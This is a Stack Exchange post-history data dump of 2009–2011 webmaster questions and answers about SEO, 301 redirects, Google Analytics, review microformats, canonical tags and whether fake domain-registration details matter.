  <row Id="23363" PostHistoryTypeId="6" PostId="10452" RevisionGUID="4ee15248-7d30-44b2-815c-af22c693b22d" CreationDate="2011-03-10T14:39:27.233" UserId="1253" Comment="Formatted question for easier reading" Text="&lt;domains&gt;&lt;pagerank&gt;&lt;301-redirect&gt;" />
  <row Id="23364" PostHistoryTypeId="2" PostId="10454" RevisionGUID="e8f53630-12a2-44cb-a0a8-fbc97b0bb9cc" CreationDate="2011-03-10T14:41:11.640" UserId="3822" Text="What are the most useful features of Google Analytics that are not known to common users?&#xD;&#xA;&#xD;&#xA;I know this is a typical question for many categories in stackexchange. I think Google Analytics deserves that question. There are so many things to learn about it. &#xD;&#xA;&#xD;&#xA;It would be very useful for many people if you can share your favorite hidden gems of Google Analytics." />
  <row Id="23365" PostHistoryTypeId="1" PostId="10454" RevisionGUID="e8f53630-12a2-44cb-a0a8-fbc97b0bb9cc" CreationDate="2011-03-10T14:41:11.640" UserId="3822" Text="Hidden but useful features of Google Analytics" />
  <row Id="23366" PostHistoryTypeId="3" PostId="10454" RevisionGUID="e8f53630-12a2-44cb-a0a8-fbc97b0bb9cc" CreationDate="2011-03-10T14:41:11.640" UserId="3822" Text="&lt;seo&gt;&lt;google-analytics&gt;" />
  <row Id="23367" PostHistoryTypeId="2" PostId="10455" RevisionGUID="9521b589-81bc-4b25-b03d-07ff9a1d009c" CreationDate="2011-03-10T14:43:09.180" UserId="1253" Text="The 301 redirect will tell the search engines that the pages have moved and to associate the old URLs with the new URLs (remember, search engines index and rank pages, not website). This includes any incoming links to those pages, including your home page. Just keep in mind that there is a dampening factor so you do lose a little bit of &quot;link juice&quot; but it's better then losing everything. Another benefit is when users go to the old URLs they will also be taken to the new URLs so anyone finding the old links or have an old bookmark will still find your new pages.&#xD;&#xA;" />
  <row Id="23368" PostHistoryTypeId="2" PostId="10456" RevisionGUID="3e297950-4840-4e17-8ec5-5e8bb6540c1f" CreationDate="2011-03-10T14:44:06.553" UserId="5849" Text="Usually sites like this are collecting info such as the company's address and other business info, and sometimes their ratings from sites such as Google Places. This is done with the intent on making it easy for customers to find and choose a company in that niche. This info is then presented in a different format on the new site.  This is seen as a directory and not as duplicate content. &#xD;&#xA;&#xD;&#xA;If instead the scrapped blog entries from these various company's website to make the blog for their site, that would be seen as duplicate content since the scrapped articles would be the same. " />
  <row Id="23369" PostHistoryTypeId="5" PostId="10452" RevisionGUID="4ee15248-7d30-44b2-815c-af22c693b22d" CreationDate="2011-03-10T14:39:27.233" UserId="1253" Comment="Formatted question for easier reading" Text="Say I have a site 123example.com, with roughly 100 backlinks, which has increased from a google page 27 to page 12 for my keywords over the last month and continues toward the top 10... I have another domain 123.com, which has roughly 30 backlinks, that just points to the 1st domain. I would like to use 123.com as the primary domain and use a 301 redirect on 123example.com.&#xD;&#xA;&#xD;&#xA;Would I have to start my link building back over again for 123.com or will the backlinks and PR with the 301 redirect of 123example.com transfer over to the new domain?" />
  <row Id="23370" PostHistoryTypeId="16" PostId="10454" RevisionGUID="03ba24a1-fb44-406e-b284-5286b01c63d5" CreationDate="2011-03-10T14:44:56.857" UserId="1253" />
  <row Id="23371" PostHistoryTypeId="2" PostId="10457" RevisionGUID="6de9a87d-b3c0-4939-a2ea-4a35f93d1c83" CreationDate="2011-03-10T15:07:24.880" UserId="3659" Text="I am managing a website called &lt;a href=&quot;http://www.rentaboatamsterdam.com&quot;&gt;Rent A Boat Amsterdam&lt;/a&gt;. We have a system that gathers reviews from people that have used our services and that publishes these customer reviews making them available for all website visitors.&#xD;&#xA;&#xD;&#xA;When these customer reviews are published we have placed them within the appropriate tags according to the guidelines set by Google, which you can find &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=146645&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;An example looks like this:&#xD;&#xA;&#xD;&#xA;    &lt;li class=&quot;&quot; style=&quot;clear:both;&quot;&gt; &#xD;&#xA;	&lt;div class=&quot;hreview&quot;&gt; &#xD;&#xA;		&lt;div class=&quot;item&quot; style=&quot;display:none;&quot;&gt;&lt;span class=&quot;fn&quot;&gt;Boatname&lt;/span&gt;&lt;/div&gt; &#xD;&#xA;		&lt;div style=&quot;border:1px solid #DEDEDE; background-color:#D9FFD4; margin:0 10px 10px 0; float:left; text-align:center; padding:10px; height:50px; width:70px;&quot;&gt;&lt;h1&gt;&lt;span class=&quot;rating&quot;&gt;10&lt;/span&gt;&lt;/h1&gt;9-Jun-2010&lt;/div&gt;                    &#xD;&#xA;	&lt;div&gt; &#xD;&#xA;	&lt;div class=&quot;description&quot;&gt;&lt;p&gt;Great canal Cruise!&lt;/p&gt;&lt;/div&gt; &#xD;&#xA;	&lt;p class=&quot;reviewer vcard&quot;&gt;&lt;strong&gt;&lt;span class=&quot;fn&quot;&gt;First name Last name&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt; &#xD;&#xA;	&lt;/div&gt; &#xD;&#xA;	&lt;/div&gt; &#xD;&#xA;&lt;/li&gt;&#xD;&#xA;&#xD;&#xA;We have implemented these tags a couple of months ago, but there are no visible results in the Google SERP's. This whilst I had expected to find the reviews / ratings displayed similar to:&#xD;&#xA;![Google example of enhanced snippet][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/aUQuC.png&#xD;&#xA;&#xD;&#xA;Is anyone familiar with this topic and able to help me find the answer to the question why the review-aggregate format doesn't seem to have the desired effect?" />
  <row Id="23372" PostHistoryTypeId="1" PostId="10457" RevisionGUID="6de9a87d-b3c0-4939-a2ea-4a35f93d1c83" CreationDate="2011-03-10T15:07:24.880" UserId="3659" Text="Hot to get website/product reviews reflected in Google's search results using review-aggregate format" />
  <row Id="23373" PostHistoryTypeId="3" PostId="10457" RevisionGUID="6de9a87d-b3c0-4939-a2ea-4a35f93d1c83" CreationDate="2011-03-10T15:07:24.880" UserId="3659" Text="&lt;microformats&gt;&lt;website-review&gt;" />
  <row Id="23374" PostHistoryTypeId="2" PostId="10458" RevisionGUID="55defc91-1143-4716-b2e9-94422581500a" CreationDate="2011-03-10T15:20:47.253" UserId="4021" Text="Out of a list of 24 on-page factors, keyword use in the URL ranked as 10th most important according to a very large survey of recognized SEO experts (i.e. conference speakers, book writers):&#xD;&#xA;&#xD;&#xA;http://www.seomoz.org/article/search-ranking-factors#ranking-factors&#xD;&#xA;&#xD;&#xA;The bottom line is that you're probably better off trusting a survey of experts than a debate on StackExchange on this, since nobody knows if/how Google treats URL's and you can basically find someone to support whatever opinion you started with.&#xD;&#xA;&#xD;&#xA;Personally, I think keywords in the URL are a usability MUST and an SEO nice-to-have.  They make your pages more click-worthy when they appear in the SERP's, they're easier to promote for link building, and they provide a visual cue to help communicate what content is on the page just by reading them.&#xD;&#xA;&#xD;&#xA;PS: Notice the URL for the search ranking factors article.  Take a hint from that." />
  <row Id="23375" PostHistoryTypeId="2" PostId="10459" RevisionGUID="badeaae7-d482-4f32-a169-c2b20cbda1c9" CreationDate="2011-03-10T15:23:54.350" UserId="5718" Text="I don't know about 'hidden' but the $ index is a very useful feature because it allows you to measure the value of pages that aren't specifically goals themselves. " />
  <row Id="23376" PostHistoryTypeId="2" PostId="10460" RevisionGUID="ea9c5a12-30bc-4039-b6e5-949e8fb71678" CreationDate="2011-03-10T15:32:33.093" UserId="5727" Text="I've replaced relevant words away from the real world without losing semantics which is a little difficult.&#xD;&#xA;&#xD;&#xA;A competitor is called `&quot;Box Maker&quot;`&#xD;&#xA;&#xD;&#xA;Can I target the keywords: `&quot;box maker&quot;` if my company is selling a tool to help you make boxes?&#xD;&#xA;&#xD;&#xA;Or is that disallowed?  Would `&quot;Box Maker&quot;` the company be able to file a complain on Google?  Would it go anywhere?&#xD;&#xA;&#xD;&#xA;The term `'box maker'` gets a lot of searches and is an incredibly cost effective search to target" />
  <row Id="23377" PostHistoryTypeId="1" PostId="10460" RevisionGUID="ea9c5a12-30bc-4039-b6e5-949e8fb71678" CreationDate="2011-03-10T15:32:33.093" UserId="5727" Text="Allowed keywords for adwords" />
  <row Id="23378" PostHistoryTypeId="3" PostId="10460" RevisionGUID="ea9c5a12-30bc-4039-b6e5-949e8fb71678" CreationDate="2011-03-10T15:32:33.093" UserId="5727" Text="&lt;keywords&gt;&lt;google-search&gt;&lt;adwords&gt;" />
  <row Id="23379" PostHistoryTypeId="5" PostId="10460" RevisionGUID="a9286473-c892-47ee-a7fe-c9213a373258" CreationDate="2011-03-10T15:37:15.790" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Ok to target product names in adwords?](http://webmasters.stackexchange.com/questions/10025/ok-to-target-product-names-in-adwords)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've replaced relevant words away from the real world without losing semantics which is a little difficult.&#xD;&#xA;&#xD;&#xA;A competitor is called `&quot;Box Maker&quot;`&#xD;&#xA;&#xD;&#xA;Can I target the keywords: `&quot;box maker&quot;` if my company is selling a tool to help you make boxes?&#xD;&#xA;&#xD;&#xA;Or is that disallowed?  Would `&quot;Box Maker&quot;` the company be able to file a complain on Google?  Would it go anywhere?&#xD;&#xA;&#xD;&#xA;The term `'box maker'` gets a lot of searches and is an incredibly cost effective search to target" />
  <row Id="23380" PostHistoryTypeId="10" PostId="10460" RevisionGUID="0d4aef8d-418e-4d0d-8b49-345880e09b34" CreationDate="2011-03-10T15:37:15.663" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23381" PostHistoryTypeId="2" PostId="10461" RevisionGUID="009add5d-95ce-4a9c-a86e-a81bc53b6955" CreationDate="2011-03-10T15:38:16.037" UserId="5985" Text="I'm all for hyphens.  Using underscores for a multi-word phrase makes sense too.  Hyphens are a tad quicker to type because you don't have to hit the shift. It may end up being a preference thing, but with the end user in mind, if hyphens are easier to read, then use em." />
  <row Id="23388" PostHistoryTypeId="2" PostId="10463" RevisionGUID="a05b819d-0912-4c4a-9cdf-299fee283ccd" CreationDate="2011-03-10T16:33:59.657" UserId="4335" Text="What is a reasonable goal in terms of traffic for my Flex 3 site: [www.brainpinata.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Since I began a couple of months ago, I've gotten roughly 5500 ad views and 280 ad clicks. And the ad revenue is a whopping $4.80. (I don't use Google Adsense).&#xD;&#xA;  &#xD;&#xA;I advertise my site using Google Adwords to try to build traffic. My budget is $10/day.&#xD;&#xA;&#xD;&#xA;What should I do?&#xD;&#xA;&#xD;&#xA;a) Push the marketing. Add a blog. Try to get backlinks, contact blogs, start a Facebook page, tweet, etc.&#xD;&#xA;&#xD;&#xA;b) Google is only indexing the static content in the SWF. The questions/answers are pulled from a mySQL database. So, Google doesn't index 99% of the content. Should I re-do the site in HTML/Javascript and hard-code the questions for each puzzle? (This would be a challenge as I don't know javascript worth squat.) Or should I hard-code the questions in XML and put them in the Flex app? If I put the questions in an XML file it's roughly 500 KB. Other ideas?&#xD;&#xA;&#xD;&#xA;c) Should I switch ad networks? (I currently get about 100 visitors a day). My ad network pays so little that if I were to make even $500/month, I would need 550,000 ad views/month, which seems impossible. &#xD;&#xA;&#xD;&#xA;If I go ahead and switch ad networks, I need to find one that allows iFrames as I've got a Flex website. Which ad networks permit their ads to be shown in iFrames?&#xD;&#xA;&#xD;&#xA;d) Should I cut and run? I put a lot of work into this project and it would really stink to get nothing out of it.&#xD;&#xA;&#xD;&#xA;I'm looking for some good advice. Looking forward to your suggestions. &#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;-Laxmidi&#xD;&#xA;&#xD;&#xA;[1]: http://www.brainpinata.com&#xD;&#xA;" />
  <row Id="23389" PostHistoryTypeId="1" PostId="10463" RevisionGUID="a05b819d-0912-4c4a-9cdf-299fee283ccd" CreationDate="2011-03-10T16:33:59.657" UserId="4335" Text="What Should I Do?" />
  <row Id="23390" PostHistoryTypeId="3" PostId="10463" RevisionGUID="a05b819d-0912-4c4a-9cdf-299fee283ccd" CreationDate="2011-03-10T16:33:59.657" UserId="4335" Text="&lt;seo&gt;&lt;advertising&gt;&lt;google-index&gt;" />
  <row Id="23391" PostHistoryTypeId="2" PostId="10464" RevisionGUID="f2e8d267-079d-4cb8-8887-b7c5afd32758" CreationDate="2011-03-10T16:43:19.460" UserId="5041" Text="If you need a free custom search that is comparable to Google Custom or Site Search try [SearchBlox][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchblox.com/" />
  <row Id="23392" PostHistoryTypeId="2" PostId="10465" RevisionGUID="b9522227-0037-4768-80fd-ca4d7122e442" CreationDate="2011-03-10T16:43:51.263" UserId="3467" Text="&quot;b) Google is only indexing the static content in the SWF. The questions/answers are pulled from a mySQL database. So, Google doesn't index 99% of the content. Should I re-do the site in HTML/Javascript and hard-code the questions for each puzzle? (This would be a challenge as I don't know javascript worth squat.) Or should I hard-code the questions in XML and put them in the Flex app? If I put the questions in an XML file it's roughly 500 KB. Other ideas?&quot;&#xD;&#xA;&#xD;&#xA;This one, definitely! Advertising is fun and all, but you will want to get a decent amount of organic traffic after a while, otherwise you're going to keep paying for every single visitor and not making any profit. Every visitor that finds you through regular search results is a free one, and if he clicks a banner it's pure profit, as opposed to the Adwords visitors that may even cost you more than they're earning you." />
  <row Id="23393" PostHistoryTypeId="2" PostId="10466" RevisionGUID="6d4a93be-157e-4b78-8777-27d90f653074" CreationDate="2011-03-10T16:28:41.740" UserDisplayName="rakibtg" Text="any one can tell me that is co.cc domain free for life?&#xD;&#xA;when i go to register a co.cc domain name it shows only 2 years for free, so is it free for ever or i have to pay after passing 2 year " />
  <row Id="23394" PostHistoryTypeId="1" PostId="10466" RevisionGUID="6d4a93be-157e-4b78-8777-27d90f653074" CreationDate="2011-03-10T16:28:41.740" UserDisplayName="rakibtg" Text="is co.cc free for ever ?" />
  <row Id="23395" PostHistoryTypeId="3" PostId="10466" RevisionGUID="6d4a93be-157e-4b78-8777-27d90f653074" CreationDate="2011-03-10T16:28:41.740" UserDisplayName="rakibtg" Text="&lt;domains&gt;&lt;name&gt;" />
  <row Id="23396" PostHistoryTypeId="17" PostId="10466" RevisionGUID="0d1c42a6-1c12-43bc-95ba-4a295300bc6b" CreationDate="2011-03-10T16:46:54.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5262684/is-co-cc-free-for-ever" Text="" />
  <row Id="23397" PostHistoryTypeId="2" PostId="10467" RevisionGUID="3a07c797-6c80-44f5-8b18-e9bde9949623" CreationDate="2011-03-10T16:47:08.250" UserId="529" Text="I'd say the [Google Analytics Data API Query Explorer][1]. &#xD;&#xA;&#xD;&#xA;The API is way more flexible than what the regular site allows, but is often too technical for most people to get. The Query Explorer is a simple-to-use UI for getting data from the your Google Analytics account, without the constraints of how the regular site decided to organize data views. I use it for complex queries that are too hard to get from the interface. &#xD;&#xA;&#xD;&#xA;Plus, it allows for dynamic Advanced Segments, allowing you to dynamically segment your traffic, and not be subject to the difficulties imposed in creating advanced segments (and hitting advanced segment limits).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gdata/gdataExplorer.html" />
  <row Id="23398" PostHistoryTypeId="10" PostId="10463" RevisionGUID="364b0b70-0105-4156-88e5-49aa1dc0857b" CreationDate="2011-03-10T16:54:24.397" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23399" PostHistoryTypeId="2" PostId="10468" RevisionGUID="4efc85b6-2d7b-4c13-9eba-da9187d92387" CreationDate="2011-03-10T17:10:51.117" UserId="1953" Text="I'd say&#xD;&#xA;&#xD;&#xA;advanced filters, there are tons of things you can do to manipulate the data with them.&#xD;&#xA;&#xD;&#xA;Regex query matching, pretty much any search field will accept regular expressions, this allows you to filter in a lot of different ways.&#xD;&#xA;&#xD;&#xA;Custom Alerts, you can setup an alert for pretty much any metric/scenario this allows you to track specific things and gives you a record of changes that help when sifting through data later." />
  <row Id="23400" PostHistoryTypeId="2" PostId="10469" RevisionGUID="114b3723-6187-40f0-82c7-870b20d0abe3" CreationDate="2011-03-10T17:22:23.653" UserId="6016" Text="I'm getting a little confused about adding canonical tags to pages. Some ([most][1]?) guides suggest using a link tag thusly:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;www.example.com/somepage&quot; /&gt;&#xD;&#xA;&#xD;&#xA;but some [others][2] suggest a meta tag like so:&#xD;&#xA;&#xD;&#xA;    &lt;meta rel=&quot;canonical&quot; href=&quot;www.example.com/somepage&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Are both allowed? Which is right? If one is wrong, where does the confusion stem from?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/Webmasters/thread?tid=17c9730c48214183&amp;hl=en" />
  <row Id="23401" PostHistoryTypeId="1" PostId="10469" RevisionGUID="114b3723-6187-40f0-82c7-870b20d0abe3" CreationDate="2011-03-10T17:22:23.653" UserId="6016" Text="Correct syntax for Canonical - link or meta tag?" />
  <row Id="23402" PostHistoryTypeId="3" PostId="10469" RevisionGUID="114b3723-6187-40f0-82c7-870b20d0abe3" CreationDate="2011-03-10T17:22:23.653" UserId="6016" Text="&lt;seo&gt;&lt;canonical-url&gt;&lt;meta&gt;" />
  <row Id="23403" PostHistoryTypeId="25" PostId="10454" RevisionGUID="fc2c61fe-4794-4aeb-87ce-d767ffe16214" CreationDate="2011-03-10T17:23:32.603" Comment="http://twitter.com/#!/StackWebmasters/status/45897588653830144" />
  <row Id="23404" PostHistoryTypeId="2" PostId="10470" RevisionGUID="05522757-ba47-427a-a7b2-975b2ab31f9d" CreationDate="2011-03-10T17:46:52.803" UserId="6017" Text="I am using Firefox 3.6.15 on a Windows 7 Professional, 64-bit Operating System, Intel Core i7 CPU, 3.33GHz, 10BG RAM, by Hewlett-Packard. Firefox does not print flash content, aka swf objects, nor does it show them in the print preview pane...I want to print out the entire web page with the flash content.  I seem to only be able to see flash and html content together in print preview and to print in IE8.  I have tried to google this issue, but could not find a solution.  I was trying to print preview/print out the following site: http://www.discovertheponds.com/.  Flash content will display in print preview and print in IE8, but neither print preview or print in Firefox.  I have also updated the Java on my computer to the most recent update, and ran the firefox plug-in checker at http://www.mozilla.com/en-US/plugincheck/ .   I do run Firebug and Web Developer, but have currently disabled them.  Is this problem on my end, meaning some issue with my computer...or is this because of how the website was programmed in HTML/Flash...or is this a bug with Firefox?  I am a website designer and am also concerned that others will not be able print sites I develop or have already developed that have flash content from Firefox.  I used to think Firefox was better than IE at everything.  What happened here? Was it some change in Firefox's version that caused this problem?" />
  <row Id="23405" PostHistoryTypeId="1" PostId="10470" RevisionGUID="05522757-ba47-427a-a7b2-975b2ab31f9d" CreationDate="2011-03-10T17:46:52.803" UserId="6017" Text="Firefox does not print flash content" />
  <row Id="23406" PostHistoryTypeId="3" PostId="10470" RevisionGUID="05522757-ba47-427a-a7b2-975b2ab31f9d" CreationDate="2011-03-10T17:46:52.803" UserId="6017" Text="&lt;flash&gt;&lt;firefox&gt;&lt;print&gt;" />
  <row Id="23407" PostHistoryTypeId="2" PostId="10471" RevisionGUID="8c3e73d6-9854-4839-8eaf-4e505fa534ec" CreationDate="2011-03-10T17:51:45.777" UserId="1253" Text="[The first one is correct][1]. There is a [meta tag for acknowledging the original work if you republish content][2] but that is something else entirely.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;  [2]: http://googlenewsblog.blogspot.com/2010/11/credit-where-credit-is-due.html" />
  <row Id="23408" PostHistoryTypeId="2" PostId="10472" RevisionGUID="6bde9dc8-30e4-4aae-b887-5f4e14939fb5" CreationDate="2011-03-10T18:02:20.977" UserId="831" Text="I work for a County Government.  In an effort to improve our search engine rankings I was considering contacting some of the other Counties in my state and seeing if we could setup an arrangement where we link to them and they link to us.  It seems like a reasonable thing to have a &quot;Other Counties&quot; page with various links on a County website, but it also seems like it's bordering on a [link scheme][1] according to Google.&#xD;&#xA;&#xD;&#xA;When I read Google's article about [link schemes][1] it seems like we hit some of the right reasons for having links on another County's site but also some of the wrong.  Does anyone have any insight into whether this is a good or bad idea?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66356" />
  <row Id="23409" PostHistoryTypeId="1" PostId="10472" RevisionGUID="6bde9dc8-30e4-4aae-b887-5f4e14939fb5" CreationDate="2011-03-10T18:02:20.977" UserId="831" Text="Would google consider this a &quot;link scheme&quot;?" />
  <row Id="23410" PostHistoryTypeId="3" PostId="10472" RevisionGUID="6bde9dc8-30e4-4aae-b887-5f4e14939fb5" CreationDate="2011-03-10T18:02:20.977" UserId="831" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="23411" PostHistoryTypeId="17" PostId="10474" RevisionGUID="a72cd51e-cd20-4b90-831c-addd59546432" CreationDate="2011-03-10T18:04:45.797" UserId="-1" Comment="from http://superuser.com/questions/22674/providing-fake-info-during-domain-registration-does-it-matter/22677#22677" Text="" />
  <row Id="23412" PostHistoryTypeId="17" PostId="10475" RevisionGUID="c0d6b803-1de3-43a5-a31f-b9520e084c4c" CreationDate="2011-03-10T18:04:45.797" UserId="-1" Comment="from http://superuser.com/questions/22674/providing-fake-info-during-domain-registration-does-it-matter/22678#22678" Text="" />
  <row Id="23413" PostHistoryTypeId="17" PostId="10476" RevisionGUID="ee5275b8-be4a-4424-9a7c-ea081d52dab2" CreationDate="2011-03-10T18:04:45.797" UserId="-1" Comment="from http://superuser.com/questions/22674/providing-fake-info-during-domain-registration-does-it-matter/22688#22688" Text="" />
  <row Id="23414" PostHistoryTypeId="17" PostId="10477" RevisionGUID="a9f1e839-d196-498f-ac44-b6016736692c" CreationDate="2011-03-10T18:04:45.797" UserId="-1" Comment="from http://superuser.com/questions/22674/providing-fake-info-during-domain-registration-does-it-matter/22789#22789" Text="" />
  <row Id="23415" PostHistoryTypeId="17" PostId="10478" RevisionGUID="9e6176ba-eb25-443a-9b21-70768d7a833c" CreationDate="2011-03-10T18:04:45.797" UserId="-1" Comment="from http://superuser.com/questions/22674/providing-fake-info-during-domain-registration-does-it-matter/22807#22807" Text="" />
  <row Id="23416" PostHistoryTypeId="17" PostId="10479" RevisionGUID="bf083c84-f641-4ae5-aa8f-5a9be872bc5e" CreationDate="2011-03-10T18:04:45.797" UserId="-1" Comment="from http://superuser.com/questions/22674/providing-fake-info-during-domain-registration-does-it-matter/22851#22851" Text="" />
  <row Id="23417" PostHistoryTypeId="17" PostId="10480" RevisionGUID="013a3b45-0361-4d20-87a5-8a970dd378a7" CreationDate="2011-03-10T18:04:45.797" UserId="-1" Comment="from http://superuser.com/questions/22674/providing-fake-info-during-domain-registration-does-it-matter/47033#47033" Text="" />
  <row Id="23418" PostHistoryTypeId="17" PostId="10481" RevisionGUID="099ed75e-b010-451a-9f68-0984c5c9c3d6" CreationDate="2011-03-10T18:04:45.797" UserId="-1" Comment="from http://superuser.com/questions/22674/providing-fake-info-during-domain-registration-does-it-matter/255650#255650" Text="" />
  <row Id="23419" PostHistoryTypeId="2" PostId="10474" RevisionGUID="f6ee6d0e-0c87-4c55-811f-b92d4e6b2d89" CreationDate="2009-08-14T06:30:28.890" UserId="3146" Text="Personally, I wouldn't insert false data. Whilst you generally should not have problems, it is usually against the rules of the registrar you are using and for some TLD's, it is against the registry's rules.&#xD;&#xA;&#xD;&#xA;If someone chooses to complain (for any reason) and they have no way to find out who owns the record, and they kick up enough fuss, it is possible that either the registrar or the registry will delete the domain.&#xD;&#xA;&#xD;&#xA;However, if privacy is important for you, some places offer privacy for free." />
  <row Id="23420" PostHistoryTypeId="2" PostId="10475" RevisionGUID="0d505575-383e-49bb-a3d8-ccba36a8d043" CreationDate="2009-08-14T06:32:53.160" UserId="1900" Text="Well, I know this. If you are running a legit business or anything that makes profit, you  want to use legit information for all legal reasons.&#xD;&#xA;&#xD;&#xA;You are going against the registrars rules also by inserting false information. They could deny you services for violating those terms of use. You are legally purchasing a product that belongs to you and you want to make sure it belongs to you and not &quot;Susie Sue&quot;." />
  <row Id="23421" PostHistoryTypeId="2" PostId="10476" RevisionGUID="1d6abe9b-3001-4f9f-a3b1-7de014f5cb8c" CreationDate="2009-08-14T06:59:26.013" UserId="3125" Text="I believe that there is an ICANN reg that requires valid information for domain registrations.  ICANN requests that registrars reverify the domain registration information periodically.  Thus it is possible that you could suddenly find your domain to be inaccessible at some point if invalid information is used.  &#xD;&#xA;&#xD;&#xA;As you indicate, if you wish to keep your identity out of whois and such, various registrars offer a 'proxy' method of hiding your information.  This service is generally not free and cost varies from registrar to registrar." />
  <row Id="23422" PostHistoryTypeId="2" PostId="10477" RevisionGUID="06e56b52-5d04-419c-a7e5-a694e88ce446" CreationDate="2009-08-14T13:13:41.777" UserId="540" Text="Use Private Registration to avoid SPAM and any obvious ties to your organization.&#xD;&#xA;&#xD;&#xA;This also lets you register and run a site like: www.DirtyNastyOMGMyMotherWouldKillMeIfSheKnewIRanThisSite.com&#xD;&#xA;&#xD;&#xA;and not be the obvious owner while you work at:&#xD;&#xA;&#xD;&#xA;www.KittensAndBunnyRabbitsForGoodHomes.com&#xD;&#xA;&#xD;&#xA;See [GoDaddy's Private Registration][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/gdshop/dbp/landing.asp?ci=9002" />
  <row Id="23423" PostHistoryTypeId="2" PostId="10478" RevisionGUID="62e2dc33-a8eb-4f71-bb8c-7d5538191b49" CreationDate="2009-08-14T14:24:16.320" UserDisplayName="Alnitak" Text="Yes, it matters!&#xD;&#xA;&#xD;&#xA;At most registries it is a breach of their contract to supply incorrect information, and if caught they can cancel your domain name.&#xD;&#xA;&#xD;&#xA;If the registration is for personal (non-trading) use then some registries (like .uk) offer an opt-out so that personal information is not revealed in the &quot;whois&quot; database.  However the registry itself still requires your real information." />
  <row Id="23424" PostHistoryTypeId="2" PostId="10479" RevisionGUID="fa5b2ebf-fd88-41cd-a85f-75ffa87f73cf" CreationDate="2009-08-14T16:06:39.863" UserId="10026" UserDisplayName="Dan Esparza" Text="ICANN (not the domain registrar) requires that all information in your registration be valid.  &#xD;&#xA;&#xD;&#xA;If any dispute arises (see the [ICANN Uniform Domain Name Dispute Resolution Policy rules here][1]) you will be contacted via the means specified in your domain registration.  **Notice that [section 14 of the rules][2] is a section that defines what happens as part of a 'default'** (in other words, they can't contact you):  *They'll proceed with a judgement, and you won't get a say in the proceedings.*  &#xD;&#xA;&#xD;&#xA;ICANN has the power to take a domain from you and give it to somebody else.  &#xD;&#xA;&#xD;&#xA;So yes, it's important that you include valid information in your registration information.&#xD;&#xA;&#xD;&#xA;For a comparison of a what a [private domain registration][3] looks like (compared to a regular domain registration) see this: [http://www.domainsbyproxy.com/popup/whoisexample.aspx][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.icann.org/en/udrp/udrp-rules-24oct99.htm&#xD;&#xA;  [2]: http://www.icann.org/en/udrp/udrp-rules-24oct99.htm#14&#xD;&#xA;  [3]: http://www.godaddy.com/gdshop/dbp/landing.asp&#xD;&#xA;  [4]: http://www.domainsbyproxy.com/popup/whoisexample.aspx" />
  <row Id="23425" PostHistoryTypeId="2" PostId="10480" RevisionGUID="29a8060e-4a15-4c0c-93e7-3b36b946b7fb" CreationDate="2009-09-25T22:56:27.953" UserDisplayName="Mike" Text="It is illegal to provide false information when registering a domain name.  The Intellectual Property Protection and Courts Amendments Act of 2004 makes it illegal, http://thomas.loc.gov/cgi-bin/query/D?c108:5:./temp/~c108ZA4CCY::" />
  <row Id="23426" PostHistoryTypeId="2" PostId="10481" RevisionGUID="564e1093-df84-47a2-b226-680629d90571" CreationDate="2011-03-10T09:29:41.290" UserDisplayName="John Peterson" Text="This is not possible to provide false information when you are going to register your domain name even the domain registrar also couldn't do that. The information you give is required and whole responsibility came to head of the domain registrar, so you never cheat to anyone with false information. The information about the domain name owner is the legal and required information by the American cyber law." />
  <row Id="23427" PostHistoryTypeId="2" PostId="10473" RevisionGUID="adc1f578-8291-41e1-9466-5dfc1fc6904b" CreationDate="2009-08-14T06:02:53.433" UserId="310" Text="All domain registrars ask for your real name, address, and phone which immediately become available for everyone to see through whois. If you don't want that (and you certainly don't) they offer you to basically pay double fee and they will hide it. What if just enter wrong info during registration, would anyone care to check (and how would they do that)?" />
  <row Id="23428" PostHistoryTypeId="1" PostId="10473" RevisionGUID="adc1f578-8291-41e1-9466-5dfc1fc6904b" CreationDate="2009-08-14T06:02:53.433" UserId="310" Text="Providing fake info during domain registration - does it matter?" />
  <row Id="23429" PostHistoryTypeId="3" PostId="10473" RevisionGUID="adc1f578-8291-41e1-9466-5dfc1fc6904b" CreationDate="2009-08-14T06:02:53.433" UserId="310" Text="&lt;domain-registrar&gt;" />
  <row Id="23430" PostHistoryTypeId="17" PostId="10473" RevisionGUID="d6d9ad88-a96a-4c29-af1e-b4922aab3517" CreationDate="2011-03-10T18:04:45.797" UserId="-1" Comment="from http://superuser.com/questions/22674/providing-fake-info-during-domain-registration-does-it-matter" Text="" />
